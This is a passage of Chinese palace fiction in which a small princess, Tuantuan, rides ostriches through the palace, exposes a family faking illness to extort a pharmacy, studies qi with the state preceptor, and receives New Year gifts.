萧林摆起了皇子的派头:“咳咳,昨日送来的大鸟在哪里?本皇子要看!”
“在这边,请随我来。”宫人急忙引路,带着他们来到了大鸟的笼舍旁。
三个小团子一起仰起头,哇!好大的鸟啊!
长得真奇怪,两条大长腿,一身蓬松的黑羽毛像裹了件大氅,细长的脖子上顶着颗茫然的小脑袋,眼睛大得像铜铃,呆呆地看着地上的三个小娃娃。
“这是什么鸟啊?”萧进问道。
宫人急忙回禀:“此为西域进贡来的,名唤鸵鸟。”
团团好奇心起:“打开,我要进去。”
宫人一脸为难:“郡主,这鸵鸟刚刚才来,奴才们还不熟悉它的性子,万一伤了郡主,奴才可吃罪不起啊。”
团团踮着脚,小手扒着栏杆:“放心吧,它不会伤我的,伤了我也不会让皇伯父责怪你,快点儿打开吧。”
宫人使劲摇头。
团团眼珠一转,望着那高高的鸵鸟:“大鸟!我是团团,你低下头让我摸摸你,好不好?”
那鸵鸟听懂了一般,温顺地垂下长长的脖颈,把毛茸茸的小脑袋凑到栏杆前。
团团伸出小手,轻轻抚摸它头顶的绒毛。
“哇!好软哦!”
鸵鸟舒服的眯起眼睛,发出了轻轻的“嘶嘶”地叫声,还用头蹭了蹭她的小手心。
两个小皇子看得眼热,也嚷嚷起来:“我们也要摸!”
萧林叉着腰:“快把门打开!”
萧进也扯着宫人的衣摆:“开门啊!”
宫人见那鸵鸟确实温顺,又被几个小主子缠得没法,只得战战兢兢地打开了笼门。
三个小团子一窝蜂涌了进去,围着鸵鸟又摸又抱。
那大鸟脾气极好,任由他们摸羽毛,抱长腿,偶尔被扯疼了也只是轻轻抖抖身子,依然温顺地站立着。
团团仰起小脸:“把我抱到它背上去!”
宫人脸都吓白了,可架不住萧林和萧进也一起喊:“听团团的!”只得小心翼翼地将团团托起,轻轻放在鸵鸟宽阔的后背上。
团团兴奋地抱住鸵鸟的脖子:“走!”
那鸵鸟竟真的听了她的话,迈开长腿在院子里慢悠悠地踱起步来。
团团开心得咯咯直笑。
萧林和萧进看得眼睛都红了:“我也要骑!”
“快抱我上去!”
下人们无奈,只得将两位小皇子也抱到了另外两只鸵鸟得背上。
团团玩心大起,小手一拍鸟脖子,脆生生喊道:“跑啊!大鸟,快跑!”
那鸵鸟立刻迈开长腿,“哒哒哒”地在院子里小跑起来,黑色的羽毛在风中蓬松地抖动,掉落绒毛无数。
萧林和萧进见状,也兴奋地学样:
“你也快跑啊!”
“超过他们!”
三只鸵鸟顿时在猫狗园的院子里撒欢跑开,长腿交错,激起阵阵尘土。
笼舍里的狗子们被这景象惊动,纷纷扒着栏杆狂吠起来,整个猫狗园瞬间乱成一团。
团团忽然想起
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了什么,扭头问:“皇伯父现在在哪儿呀?”
萧林紧紧抱着鸟脖子,小脸兴奋得通红:“我知道!在敬先殿!马上要过年了,父皇说要亲自打扫那里,拿来过年!”
“你知道敬先殿在哪儿吗?”团团睁大了眼睛。
萧进骄傲地挺起小胸脯:“我知道!我认识路!”
“你带路!”团团立刻喊道,“咱们去看皇伯父!”
萧进小手往前一指:“出了这里,往右一直走到头就是!”
“驾!”团团一夹小腿,鸵鸟听话地加速冲向大门。
另外两只也紧随其后。
宫人们见状急忙都跑着追了上去:“慢点儿啊!”
“抓紧啊!千万别摔下来!”
宫道上,三只高大的鸵鸟迈着矫健的长腿,驮着三个小娃娃,哒哒哒地奔跑着。
沿途的宫女太监们惊得目瞪口呆,纷纷避让。
萧然与陈浩恰好也在,两人互相看了一眼,这是?
团团一鸟当先,萧进和萧林紧随其后。
敬先殿中。
萧杰昀直起腰,擦了擦额角的细汗,望着打扫得一尘不染的殿宇,对身旁的慕容瑾感慨道:
“今岁不易啊!幸得列祖列宗保佑,大旱终得缓解,边境也未有战事。”
慕容瑾微微喘着气,脸颊泛着红晕,她环顾着这占地颇广的宫殿庭院,柔声道:
“陛下说的是。你我亲手将这敬先殿洒扫干净,待新年祭祖时,方更显虔诚。来年我大烈必会风调雨顺,国泰民安。”
帝后二人相视一笑,正欲歇息片刻。
殿外忽然由远及近传来一阵急促的“哒哒”声。
二人一怔,循声望去。
只见三只鸵鸟正以飞快的速度狂奔而来,伸着溜长的脖子。
翅膀呼啦啦地扑腾着,背上分别坐着三个小娃娃。
后面跟着一大群太监和宫女。
“皇伯父!”团团兴奋地大叫,“皇后娘娘!你们看!驾!”
”驾!“萧林激动地挥手,“父皇!看儿臣的新坐骑!”
”驾!”萧进也忘形地喊,“这比骑马还好玩!”
三只鸵鸟哗啦啦地在院子里跑了一大圈。
太监和宫女们匆匆给帝后行了礼,继续追在后面。
“我们走啦!”团团又带头冲出了敬先殿。
哗啦啦地又都走了。
只留下满地灰黑色的绒毛,散落在帝后二人刚刚打扫干净的地面上。
慕容瑾目瞪口呆,萧杰昀双手紧握:“把他们给朕抓回来!带到紫宸殿!”
第212章 你叫我团团多好啊
第二百一十二章
紫宸殿中。
萧林,团团,萧进排成一排跪在蒲团上,齐刷刷耷拉着小脑袋。
身旁站着程如安,德妃和容妃。
慕容瑾坐在皇帝下首。
萧杰昀在龙椅中沉着面孔。
慕容瑾想起方才的情形便觉得好笑,越想越想笑,实在忍不了。
她垂下头,拿起锦帕遮住了自己压不下去的嘴角。
程如安看着女儿垂头丧气的小模样,不知道该说什么。
还是德妃先开了口:“陛下,孩子们只是觉得那大鸟可爱,才……”但她也实在不知该如何替儿子开脱。
容妃直截了当:“请陛下责罚他们吧。”
萧杰昀看了看地上跪着的三个小团子,又看了看一旁的后妃们。
责罚?让朕怎么责罚?都才这么点儿大!
可气!当真是气死朕了!
程公公心中了然,上前一步,低声道:“陛下,不如,便罚两位小皇子和郡主一起去将敬先殿打扫干净吧,也算他们尽了自己的孝心了。”
萧杰昀瞄了他一眼,还是你这个老东西有主意。
他想了想:“萧宁昭!”
程如安心中一颤。
大殿一片静悄悄,无人回应。
程公公连忙咳嗽了一声,想提醒团团,陛下叫你呢!郡主!
萧杰昀瞬间火大:“嘉佑郡主萧宁昭!”
团团这才反应过来,哦,萧宁昭就是我啊!
她抬起头,望着萧杰昀:“皇伯父!你叫我团团多好啊!叫我萧宁昭好别扭啊!”
萧杰昀这个气啊!
本想显得郑重,才唤这孩子的大名,结果人家根本不记得!居然还嫌朕叫的不对!
程如安急忙为女儿解释:“启禀陛下,臣妇家中平常都唤郡主的乳名,想来她是习惯了,一时没反应过来。请陛下恕罪。”
慕容瑾也赶忙帮腔:“是啊陛下,郡主年纪还小,对自己的大名不甚熟悉,也是有的。”
德妃和容妃也纷纷道:“陛下,孩子太小,您息怒。”
“是啊!郡主才多大!记不住也是常理。”
萧杰昀刚想张嘴,内侍在外禀告:“长公主殿下到!”
团团眼睛一亮,皇姑姑来啦!
“请。”
长公主走进大殿,给萧杰昀行了礼。
“赐坐。”
长公主落座,看了看地上的三个小团子:“陛下,小孩子不懂事,请您网开一面,莫要重罚。”
萧杰昀扶额,无奈了,朕没想怎样啊!
这一个个的,竟都来给她求情!
内侍禀告声又起:“九殿下与陈王之子陈浩在外求见!”
老九?陈浩?来干嘛?
“准!”
萧然与陈浩走入殿中,行礼问安后。
萧然道:“父皇,方才之事,儿臣恰好看到,郡主年幼,活泼好动,请父皇莫要怪罪。”
陈浩也道:“陛下,郡主天真,虽是异想天开之举,却更显其仙使之能,请陛下看在郡主往日之功地份上,宽宥一二。”
萧杰昀都被气乐了。
好!好!原以为朕的皇子中,只有老七和小十一,十二同团团交好,没想到老九和陈浩这两个小子竟也能为了她向朕求情!
可是,这么多人一求情,他一张老脸却有些拉不下来了。
团团侧过头看了眼萧然和陈浩,他们怎么来了?
还都挺好的嘛,为我讲好话。
又看了看长公主,皇后,两个后妃和母亲。
小团子抱着脑袋,往地上一趴:“皇伯父我错了,皇伯父我错了,皇伯父我错了……”小嘴儿叭叭叭个不停。
萧杰昀看着她,这孩子简直成精了。
叹了口气:“罢了,你们也不用一个个地都跟朕求情。朕本也没打算怎么重罚她。”
“去吧,去将敬先殿给朕清理干净!一根**都不许留!”
团团看了看他,又看了看身旁的萧林和萧进,拉了拉两人的衣袖:“谢谢皇伯父!”
萧林和萧进明白了:“儿臣谢父皇!”
三个小团子从地上爬起来,一溜烟地跑出去了。
众人鱼贯退出殿外,程如安向她们分别致谢。
德妃道:“咱们还是回我宫里吧,莫要跟着去,陛下若是得知,又要不悦。”
程如安点了点头,容妃吩咐宫人们:“好生跟着他们,不许再让他们去别处了。”
“是!”
敬先殿中,三个小团子望着一地的**,互相看了一眼,都笑了起来。
宫人给他们一人拿了一只袋子。
三个小团子边捡边玩,半天也没捡起来多少。
萧然和陈浩站在大门旁面带微笑地看着。
萧然吩咐下人:“去,帮个忙。”
陈浩有些迟疑:“万一陛下知道……”
萧然满不在乎:“父皇才不会在意呢。他对嘉佑郡主,比对我这些皇弟们都好!”
有人帮忙,团团干脆不捡了,颠颠儿地跑了过来。
她仰起小脸:“谢谢你们啊!”
萧然看着她,这肉嘟嘟的小脸蛋!
“明日你若是无事,跟我们一起去茶楼听书吧。”
“茶楼?”
“对啊,京城里新开的福运茶楼,大得
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很,说书的先生据说都是外面请来的,讲得格外精彩。才开张一个多月,便日日爆满,去不去?”
团团开心了:“好!明日咱们一起去!”
说话间,几个下人已将地面清理干净了,团团对着萧然和陈浩挥了挥手:“我去找娘亲啦!”
萧然笑眯眯地看着她:“明日午时!茶楼见啊!小不点儿!”
团团冲着他撅了撅嘴:“又叫我小不点儿!算啦!看在你今日为我求情的份儿上,我原谅你啦!”
萧林和萧进规规矩矩地给萧然行了礼:“多谢九哥。”
萧然摆了摆手:“赶紧去吧。”
团团转身拉着两个小团子一起回到了德正宫。
回府的马车上,团团兴致勃勃地将萧然的邀约告诉了母亲。
程如安同意了:“让你二叔叔陪着你去。”
“好嘞!”
次日正午,福运茶楼。
萧二抱着团团走进大门:“我们小姐是宁王府的嘉佑郡主。”
小二急忙躬身引路:“请二位随我来,雅间早已备好,贵人交代了,嘉佑郡主驾到,便请上三楼雅间。”
萧二抱着团团沿楼梯而上。
团团趴在他的肩头向周围望去,哇!好漂亮啊!
一楼人声鼎沸,中间置一高台,说书先生高坐其上。
二楼清雅许多,竹帘半卷,隐约可见文人墨客对弈品茶。
待到了三楼,眼前豁然开朗。
三楼仅有三间雅间,每一间都宽敞透亮,门上嵌着琉璃,桌上摆放着茶具和点心,香气扑面而来。
二人跟着小二走入了一间名为采菊轩的雅间。
“二位请稍坐,贵人即刻便到。”小二退了出去。
萧二将团团放在锦凳上,楼下说书先生惊堂木一拍,正讲到《白蛇传》里的“水漫金山”,团团听得津津有味。
片刻后,萧然与陈浩身着寻常衣饰结伴而来。
“你来得真早!幸好我提前同他们打了招呼。”萧然捏了捏团团的脸蛋,很自然地坐在了她的身旁。
陈浩则在对面落座。
团团扯扯萧二的衣袖:“二叔叔也坐呀!”
萧二犹豫片刻,在她身侧的空位坐下,腰杆挺得笔直。
几人才坐下不久,门外廊道处一阵喧哗。
几个身着华服的青年走上楼来,路过采菊轩时,一个穿着紫衣的不经意往屋内扫了一眼,停下了脚步。
“哟!这不是陈王的嫡长子陈浩吗?”那紫衣人倚在门框上,面露讥讽,“怎么,还没回你父王身边?看来你这个嫡长子啊,就要老死在京城喽。”
第213章 我跟你拼了
陈浩的脸色难看起来。
萧然眉头一皱:“孙定邦,你一定要每次遇见陈浩都找他麻烦吗?你姐姐的事过去那么久了,你怎么还这么耿耿于怀?”
孙定邦收起了脸上的讥讽,行了个礼:“见过九殿下。”
他挺直了背脊,看向陈浩:“我就是要看见他一次就说一次!”
“他们家当年鼠目寸光,明明两家都下了小订礼了,居然将我姐姐的婚事给退了,害得我姐姐被京城的权贵们取笑。”
“如今我姑姑是宠妃,我孙家飞黄腾达,他却像一条丧家之犬,这就是报应!”
“陈王府背信弃义,活该你一个嫡长子被你爹扔在这京城!”
萧然怒了:“你闭嘴!“
陈浩脸色阴沉,一言不发。
团团看着孙定邦大声道:“喂!我一个姐姐跟我说,婚事都是父母之命,自己做不得主,你说他干嘛啊!”
“你生气该去找他爹啊!”
孙定邦看着她:“你又是谁?关你何事?”
团团抬了抬小下巴:“我是嘉佑郡主!”
孙定邦微微一惊,这个小丫头片子居然就是嘉佑郡主?
他行了个礼:“见过郡主。郡主此言有理,只是那陈王远在南疆,我自然只能找他这个嫡长子理论了。”
团团很奇怪:“犯错的又不是他,你跟他理论他爹也听不到,你闲的吗?”
孙定邦气结:“你!”
萧然微微一笑:“团团说的有理!”
孙定邦恨恨地看着陈浩,不肯罢休:“你身为嫡长子,陈王既不为你请封世子,又将你独自留在京城这么多年。”
“说好听了是九殿下的伴读,实际上不过就是个质子!”
他笑了笑:“你那个庶出的弟弟如今可厉害呢,传闻陈王爱之如命,日日都陪在他身边。”
“我看啊,你母妃迟早会被废掉,你这个嫡长子呢,到时候就成了庶长子喽!”
陈浩忍无可忍,猛地站了起来:“孙定邦!你闭嘴!你说我可以,不许你这样说我母妃!”
孙定邦一脸得意:“怎么?戳到你的痛处了?”
团团皱着眉头问道:“你姑姑是谁啊?”
孙定邦一怔:“是惠妃娘娘。”
团团想起来了,就是那个被大狼找出来的坏娘娘!
“你姑姑不是被皇伯父降成了那个什么鱼,关在她宫里了吗?”
萧然笑了笑:“团团,那叫婕妤。”
团团瞪了他一眼:“我怎么记得住!皇伯父那么多娘娘!”
孙定邦脸上难看起来:“后宫位份升降不过是寻常事,况且她还生有皇子。”
团团紧盯着他:“你看,我说你姑姑你不高兴,那你说陈浩的娘亲,他当然也不高兴啊。”
“你说陈浩不如他弟弟,你呢?你在家里不是也不如你弟弟吗?”
孙定邦脸色大变:“你胡说!”
团团小嘴不停:“前几日你生辰,你家里都没给你准备什么,可你弟弟生辰,他们却都给了他礼物,你自己都这样,干嘛说陈浩啊!”
孙定邦脸色铁青,她怎么知道我家里这么多事!
萧然和陈浩对视了一眼,都是一脸震惊,原来孙家竟是这样?
门外传来一个老者的声音:“己所不欲勿施于人,团团说得不错。”
众人循声看去,正是宋敬贤!
团团从锦凳上溜下来,越过孙定邦跑到他面前:“宋爷爷!”
众人急忙行礼,连萧然也不例外:“见过宋公!”
宋敬贤看着孙定邦:“少年人,受些委屈便怒形于色,非立身之道。”
帝师的话,何等份量,孙定邦面露愧色,躬身行礼:“谢宋公教诲。”不敢再造次,转身离去。
萧然忙道:“宋公请上座。”亲自为他斟了一杯茶。
宋敬贤牵着团团的手缓步而入,落座。
他注视着神情沮丧的陈浩:“你便是陈王之子?”
“是。”
宋敬贤深深地看着他:“剑藏匣中,非钝其锋,乃待其时。”
“你虽离家千里,看似身在困局,实则恰是磨砺心性的熔炉。他日百炼成钢,自有你的天地。”
陈浩浑身一震,脸上迅速燃起了光彩。
团团问道:“宋爷爷,你怎么来了?也是来听书吗?
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”
宋敬贤微微一笑:“对啊!听闻京城新开了座极好的茶楼,我闲来无事,便想过来听听。”
“没想到竟让我听到了你的一番高论。”
团团不好意思地嘿嘿一笑:“宋爷爷,你说的才最好听,你看,他们都听你的。我的是低论,你的才是高论呢!”
一屋子的人全笑了。
几人一起喝着茶,相谈甚欢,听了一会儿书后,离开了茶楼。
临走时,陈浩揉了揉团团的头发:“今日谢谢你了,团团。”
团团对着他甜甜一笑:“昨天你也帮了我啊!陈浩哥哥,你要听宋爷爷的话哦!”
陈浩点了点头,和萧然一起转身离开。
团团拉着萧二的手:“走,二叔叔,咱们逛逛去!”
“好!”两人一起走在京城最热闹的大街上,边逛边玩。
前方忽然传来一阵哭天抢地的喧哗。
“我的儿啊!你好惨啊!”
“济世堂的庸医!还我夫君命来!”
前面怎么了?
“二叔叔,咱们去看看!”
萧二将她一把抱起,挤进了正在**的人群。
只见一个门楣上挂着济世堂牌匾的医馆门前乱作一团。
一对头发花白的夫妇瘫坐在地,捶胸痛哭,旁边一个年轻妇人,怀里抱着个正在沉睡,仅有几个月大的婴儿,哭得泪水涟涟。
他们的面前,躺着一个面色灰败的壮年男子,脸上布满青黑斑痕,胸口起伏低缓,气息微弱。
那老妇嘶声哭喊:“前日我儿只是浑身乏力,吃了他们两副药今日便成了这个样子!天杀的庸医!是他们害了我儿子啊!”
老翁捧起一包药渣,抖落在地:“大家都来看看!这就是他们开的方子!我儿他才二十几岁啊!”
“这是让我们白发人送黑发人哪!”
医馆的掌柜站在一旁,急得满头大汗:“这方子只是寻常补气的,绝无问题!定是你们自己误食了别的东西!”
那年轻妇人闻言,放下怀中婴儿,发疯般冲向掌柜:“我跟你拼了!你害死我夫君,让我们一家老小可怎么活啊!”
第214章 我宁王府来审
周围百姓议论纷纷。
“这济世堂开了十几年了吧,没听说有人在这里误诊过啊。”
“不好说,人有失手,马有失蹄,保不齐这回就失了手呢。”
“这家人看着真可怜啊,家里的男人要是走了,留下这老的小的,确实艰难。”
那年轻妇人哭得上气不接下气,死死拽着掌柜哭喊:“还我夫君的命来!”
老妇指着济世堂的大门:“这样的医馆只会害更多的人!留着做什么?砸了它!”
一些被他煽动起来的百姓开始往医馆里扔烂菜叶子。
掌柜和店里的伙计们连连劝阻,却拦不住越来越多愤怒的人。
萧二把团团抱得更紧了些。
团团瞪大了眼睛,大喊了一声:“喂!你为什么不去京兆府啊!”
听到京兆府,周围的人手都是一顿,循声看向团团
“对啊!真出了人命该去报官啊!”
“在这闹有什么用!”
那老妇脸色一变,指着团团尖声喊道:“你个小丫头片子懂什么!我儿子只是病重,又没咽气,报的什么官!”
团团歪着小脑袋,一脸奇怪:“对呀,你儿子都病成这样了,你不赶紧给他治病,在这里闹什么呢?”
她伸出小手指着地上气息奄奄的男子:“难道你砸了这里,他就能好了吗?”
围观的百姓们闻言不禁都互相看了看。
“这孩子说得在理啊!”
“真要救人就该去找大夫,在这闹岂不是病得更重!”
“怕是有什么蹊跷吧。”
老妇眼神有些慌乱,看向旁边的老翁。
年轻妇人哭喊道:“怎么,他济世堂害了我夫君,现在还想倒打一耙吗!”
团团眯着眼睛看了看这一家人。
他们三个大人在这里闹,根本都没人管地上的那个小孩子,哪有这样做爹娘的啊!
“二叔叔,放我下来。”萧二将她放到了地下。
团团走到地上男子的身旁皱着眉头围着他走了一圈。
“这样吧,我给他看看。”
老妇嘴角抽动,一脸不屑:“你?你才多大?你要是能看病,这京城里的医馆还用得着开吗?”
萧二脸一板:“放肆!我们小姐是陛下钦封的镇国嘉佑郡主!”
一家人顿时一惊,脸上都变了颜色。
百姓们一听,纷纷行礼:“原来是仙使啊!”
团团抬起头看着大家:“对啊!我就是啊!”
“有仙使在,这个汉子的病肯定有救!”
“是啊!仙使,这一家人可怜了,您赶紧给看看吧。”
老妇急忙走到儿子身旁:“原来是仙使驾到,仙使说得对,我们是急糊涂了,这就带着他去别的医馆看看。”
老翁也急忙帮腔:“对!对!我们这就带他去!不敢劳动仙使。”
年轻妇人走了过来:“爹,娘,咱们赶紧送夫君看病去吧。”
团团看了看那仍旧没人理会的小孩:“不用啦,我给他看看,你们不就不用带他去别的医馆了吗?”
“我不收你们银子哦!”
三人互相看了看,只得无奈点头:“那就……多谢仙使了。”
团团围着地上的男子又走了一圈,突然向后退了几步。
大喊了一声:“哎呀!”
众人都被她吓了一跳。
团团抬起小手,捂住了自己的鼻子:“他身上全是毒!治不了啦!必须赶紧弄到没人的地方去埋起来!要不然,咱们都会**的!”
所有人都吓得向后连退数步,全都学着她的样子,捂住了自己的口鼻。
“**?天哪!”
“仙使说的,肯定没错!”
那一家三口目瞪口呆。
团团大喊:“快去京兆府报官!把他弄走!”
“对!对!腿脚快的!赶紧去啊!”
“谁家有石灰?快去拿过来!把他盖上!”
“我家有!我回去拿!”
地上的男子再也忍不住了,噌的一下从地上跳了起来:“我没病!别埋我!”
团团看着他,笑的露出了两个小酒窝:“你不装了?”
围观的百姓瞬间安静了下来,瞠目结舌。
那一家三口见势不妙,悄悄**着想趁机跑掉。
众人紧接着便都愤怒了。
“原来是一群骗子!”
“来讹人家济世堂的!”
“拦住他们!别让他们跑了!”
团团一直看着地上的
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小孩:“二叔叔,那个孩子!”
萧二走过去,将他从地上提了起来。
众人齐心合力,很快便将四人擒住了。
“走!送他们去见官!”
“对!多亏了仙使啊!”
萧二和团团目送着这群骗子被百姓们押着往京兆府而去。
济世堂的掌柜走到二人面前,深深一揖:“多谢二位仗义出手,解我济世堂今日之危!”
团团看着他:“没事儿啦!不过,他们为什么要这么干啊?”
掌柜四下看了看,低声道:“不瞒仙使,数日前有人欲重金收购小店东家祖传的‘逆生丹’丹方,被拒后便扬言要让济世堂开不下去。”
团团好奇:“逆生丹?那是什么?”
“此丹据说能令人白发转黑、齿落重生。”
掌柜一脸苦笑:“我们东家觉得此物逆天而行,有违天地生衰之理,因此从未炼制。也不知那人从何处得知了这丹方在济世堂,屡次来扰。”
萧二点了点头:“今日他们未能得逞,怕是未必会就此放手,还是要多加小心。”
掌柜的急忙行礼:“是!”
萧二看着手里一直昏睡着的孩子,将他交给了掌柜:“这孩子如此昏睡,恐是被那几个人下了什么药,还请您费心,将他医好。”
掌柜的急忙接了过来:“是。济世救人,本就是济世堂的分内之事。”
萧二想了想:“若是治好了,送到宁王府来吧,府中自会照料。”
说完,抱着团团,告辞而去。
当晚,萧二来见萧元珩。
“王爷,我们在大夏救出纪婉润的时候,曾听她说起,黑医门精研的便是掌控生死之道。”
“且从圣医谷的事上可以看出,黑医门的行事不择手段。”
“末将猜测,今日之事,怕是跟他们多少有些关系。”
“而这黑医门,又与那幽冥顶有关,不知他们又在搞什么名堂。”
萧元珩点点头:“明日起,派两个人,盯着那个济世堂。”
“他们此行未果,不会善罢甘休。若再有可疑之人,直接拿了,我宁王府来审。”
“是!”
次日,国师府来人,请团团过去。
第215章 我要不要告诉他呀
萧二陪着团团走进了国师府。
团团看到楚渊便跑了过去:“国师!我来啦!你找我来做什么?”
楚渊微微一笑:“郡主莫非忘记自己那日口出反言了?”
“我找你来当然是要教你,免得你以后啊,又要急哭喽!”
团团想起那天的自己,不好意思地直往他怀里钻:“不会啦!我那天就是特别生气,想天上来个雷劈下来,以后我不想了不就行啦。”
楚渊刮了一下她的小鼻头:“傻孩子,人的喜怒忧思,岂是说不想,便能不想的?若是心念能随心掌控,这世间又何来这许多烦恼。”
他牵起团团的手:“走,贫道来教你。”
团团随着他走进了一间宽敞的屋子里。
团团好奇地打量着四周。
屋内没有多余的摆设,四面整墙皆是高高的书架,上面摆满了书籍。
地面用银砂嵌着周天星斗,上摆放着几个蒲团和一本书册。
楚渊盘膝坐在一个蒲团上,指了指自己对面的一个,“坐吧。”
团团学着他的样子,盘膝落座。
“这本书叫做《气运真解》”
“今日教你认‘炁’。”他指尖轻点,地上的一颗银星突然亮起,“万物皆有炁。善者清扬,恶者浊沉。你要学的,便是看见它。”
团团想了想:“国师啊,你是指皇伯父身上的紫气吗?我看得见啊!”
楚渊一惊:“你还能看见谁的?”
团团回道:“不一定,有的我能看到,有的就看不到。”
楚渊又问:“你能看到几种?”
团团掰着小手指:“红的,紫的,黑的,白的。”
“白的?何人?”
“宋爷爷啊!只有他是。”
楚渊微微颔首:“难怪。自宋公回京,我还未曾见过。白色乃众色之和,至纯至明。宋公身为帝师,心怀天下,灵台澄澈,倒是与他甚是相合。”
“既如此,这入门的功夫倒是可以省了,咱们讲下一个。“
从此以后,每隔一日,团团便去国师府里学习一日。
这天,团团兴高采烈地见到楚渊便喊:“国师!昨日我跟着爹爹去碎金阁吃饭,遇到一个官儿,我看见他的头上,全是绿色的!“
她扯着楚渊的袖子,压低了声音神秘兮兮地道:“我知道的哦!嬷嬷们说过,男的头上发绿就是他家的娘子跟别人好了。“
“国师!那个官儿好可怜哦,我要不要告诉他呀?”
楚渊扶额:“那都是市井俗话,与你所见的气运无关!绿主清廉,说明他为官正直,不贪银钱。”
团团恍然大悟:“我懂了!那下次见到他,我就说,你头上有绿光,是个好官!”
“不可!”楚渊急忙按住她的小肩膀。
怎么跟这孩子解释呢?算了,吓唬她一下吧。
他想了想:“气运之说玄妙非常,你若随意说破,会扰了他人命数。记住哦,天机不可泄露。”
团团用力点头:“知道啦!说了我就又会胡说八道了对吧?”
楚渊“……”罢了,这样理解也好。
他点了点头:“不错,才学了几日,便有所长进,看来我可以多传授你一些了。”
团团一听,顿时蔫了:“早知我就不跟你说了。”
楚渊看着他,唇角都压不住了,努力正了正脸色:“来吧,今日咱们讲……”
临近新年。
宁王府张灯结彩,喜气洋洋。
萧杰昀命程公公将一株足有半人高的南海珊瑚送到了王府,点名赐给了团团。
慕容瑾也命人送来一盏玲珑玉兔灯,白玉雕成的兔子抱着宝石雕成的胡萝卜,内嵌的夜明珠泛出柔和的光晕,团团喜欢地抱着不肯撒手。
老夫人亲手做了只新荷包给团团,萧元珩和程如安送了女儿一枚长命锁,赤金的锁身上镶嵌着各色宝石,背面刻着“福寿安康”。
萧宁远大手一挥,给了妹妹五千里银票:“想买什么便买!若是不够,跟大哥说,大哥给你添!”
萧宁辰拉着团团来到马厩,指着栏中一匹通体雪白的小马:
“这是西域的果下马,最是温顺聪慧,终身便只有这般大小。等开春暖和了,二哥教你骑马,今后你就能骑着它自己想去哪里便去哪里。”
团团伸出小手,轻轻摸了摸它,小白马亲昵地蹭了蹭她的手心,湿漉漉的大眼睛里满是温
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驯。
团团眼睛都亮了:“二哥哥真好!我太喜欢它了!”
她看着小马:“你这么白,就叫你小白好不好?”
小白像是听懂了一般,亲昵地用鼻子轻轻顶了顶团团的手心,发出了轻快的响鼻声。
萧宁珣送给团团的是一只白色鹦鹉:“它叫雪衣,最会学人说话。以后呢,我们团团就不用总是羡慕陆二的小话梅了。“
团团好奇地凑近细看,这鹦鹉跟小话梅差不多大小,浑身雪白无瑕,鲜红的喙如点了朱砂,亮晶晶的小眼睛,机灵地转来转去。
见团团过来,它歪起了小脑袋,头顶一簇呆**轻轻抖动。
团团开心极了:“小鸟!你好漂亮啊!“
雪衣大喊:“好漂亮!好漂亮!“
团团“哇”了一声蹦了起来:“三哥哥,它好聪明啊!谢谢三哥哥!”
雪衣揪住话尾巴:“谢谢三哥哥!”
团团开心地满屋子乱跑,萧宁辰看了看妹妹,又看了看雪衣:“三弟,你这鸟挑得好,头上这捋小**,长得跟团团一模一样!“
“二哥哥你真坏!“团团一听,冲过来拿小拳头捶他。
萧宁辰哈哈大笑。
紧接着,德妃,容妃,宋敬贤府上,陆二……各种礼物纷纷而至。
团团收的手都软了。
突然,她想起了什么:“三哥哥,给冯舟送些东西过去好不好,他一个人关在那里,过年了,什么好吃的好玩的都没有。“
程如安点了点头:“团团说得对,七殿下虽然吩咐了善待冯舟,但日子久了,难免他们不懈怠。我这就打点些吃的用的和银两送过去。“
团团掏出大哥才给自己的银票,递给萧宁辰:“二哥哥,这个给你,帮我买些东西给军营里的叔叔们,让他们也能好好过年。“
萧宁辰将银票塞回妹妹的荷包,看着她:“乖团团,这事儿二哥给你办,银票就不必了,你的心意最重要,他们都知道的。“
正热闹着,下人手中捧着个锦盒匆匆走入:“外面有人送了这个来,说是给小小姐的年礼。“
团团抬起头:“是谁啊?“
“他说,他是天机阁的人。“
第216章 我能当舵主吗
锦盒中静静躺着的,赫然是一支九星连**的专用箭矢!
旁边还有一个玉牌。
萧宁辰面色凝重,轻轻将箭矢拿了出来,仔细端详:“没错,与峡谷偷袭时,我留下的那支完全一样。”
萧宁珣将玉牌取了起来,只见那玉牌上,一面刻着一个天字,另一面刻着一个总字。
团团伸着小脑袋在两个哥哥的手里左看看,右看看,一脸奇怪:“这是给我的?我要这些做什么?”
萧元珩看了看女儿:“团团,你在那个猜秘匣盛会上,除了公孙止,还遇到别的人了吗?”
“天机阁的盛会,他们应当有人在场吧,还记得是谁吗?”
团团仔细回想:“不记得了,他们的人都穿着一样的衣服,我连他们的脸都没分清楚。”
萧宁远从三弟手中拿过玉牌:“这个看着像是个令牌。”
“我以前在外行商时,看见许多江湖人都持有各式各样的令牌。这个总字应该是级别最高的。天,总,这个莫非便是天机阁的总令牌?”
“可是,团团不过就是玩了一回他们的猜秘匣而已,把这令牌送给她是什么意思?”
“难不成,还想让团团去给他们当个舵主?”
团团眼睛一亮,从他手中将玉牌拿了过来:“挺好看的呢!大哥哥,我能当舵主吗?”
萧宁远哭笑不得:“还是别了,团团,你还是老老实实在王府做你的嘉佑郡主吧。”
萧宁珣也是百思不得其解:“天机阁将这个九星连**的箭矢送给团团,岂不就是,承认了连**失窃与他们有关?难道他们不怕朝廷查他们吗?”
萧宁远道:“三弟,这些江湖人,往往表面上都有正经事由,开食肆的,开赌坊的,甚至种地当伙计的。”
“千丝万缕,各式各样,全是私下里联络,朝廷怎么查?难道挨家挨户去问?问人家也可以不说啊!”
“要不,怎么需要令牌这种东西呢。”
萧元珩点点头:“辰儿,兵部不是正在查这件事吗?明日你便将此事报上去,希望他们能尽快查出端倪,冯舟也好早日出来,这令牌便不用报了。”
“是。”
团团拉着二哥的衣袖:”对啊!二哥哥,你说过兵部有好多人,赶紧告诉他们,查清楚了,冯舟就能出来啦!”
程如安看了看大家:“都收起来吧,这大过年的,江湖人也得回家吃饭去,你们就先放下吧,万事都等过完年再说!”
众人都笑了。
新年如期而至,一家人团团圆圆,其乐融融。
正月初六,整个京城还沉浸在节日的喧嚣欢闹中。
宋敬贤来到了宁王府。
三兄弟都出门去了,萧元珩和程如安领着团团走了出来。
团团一见到宋敬贤就跑了过去:“宋爷爷!过年好!”
“诶!小团团,年过得如何?”
团团兴高采烈:“我收到了好多礼物,可开心啦!”
萧元珩见宋敬贤眉头紧皱,面带忧色,同程如安一起行了礼:“老师,可是有何要事?”
恩师学贯古今,心性沉稳如山,何时露出过这般神情?
宋敬贤语音沙哑:“元珩,老夫今日,是来找团团的。”
萧元珩心中一惊,连忙上前扶住宋敬贤的手臂:“老师,快请上座,慢慢说。”
宋敬贤坐下,看着团团:“书珺前日起便浑浑噩噩,唤她不应,喂她不知,如同失了魂一般。”
